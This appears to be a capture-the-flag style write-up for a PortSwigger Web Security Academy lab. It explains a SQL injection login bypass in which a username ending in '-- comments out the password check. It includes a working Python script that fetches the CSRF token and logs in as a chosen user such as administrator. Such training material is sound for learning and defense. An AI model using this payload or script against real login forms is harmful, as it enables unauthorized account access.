2. SQL injection vulnerability allowing login bypass

We’re able to bypass the password check for the /login page’s POST request because of an existing SQL injection vulnerability in the server backend code. The username and password parameters of the POST request are not sanitized. The username and password parameters are used to query the SQL database for the username and password’s existence. We escape the SQL query using the ’ character after entering the username parameter, providing a SQL comment — to end the query.

This causes the SQL query to ignore the password parameter, allowing the attacker to login as any valid user.

Solution:

# usage:
# python3 2.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
# --w administrator
 
import re
from argparse import ArgumentParser
 
import requests
 
 
class Solution:
    def __init__(self, url: str, who: str) -> None:
        self.url = url.rstrip("/")
        self.who = who
        self.s = None
 
    def login(self, username: str, password: str) -> requests.Response:
        self.s = requests.Session()
        login_url = f"{self.url}/login"
        r = self.s.get(login_url)
        csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
        r = self.s.post(
            login_url,
            data={
                "csrf": csrf,
                "username": username,
                "password": password,
            },
        )
 
        return r
 
    def solve(self) -> None:
        self.login(self.who + "'--", "password")
 
 
def main():
    parser = ArgumentParser()
    parser.add_argument("--u", "--url", dest="url")
    parser.add_argument("--w", "--who", dest="who")
    args = parser.parse_args()
    s = Solution(args.url, args.who)
    s.solve()
 
 
if __name__ == "__main__":
    main()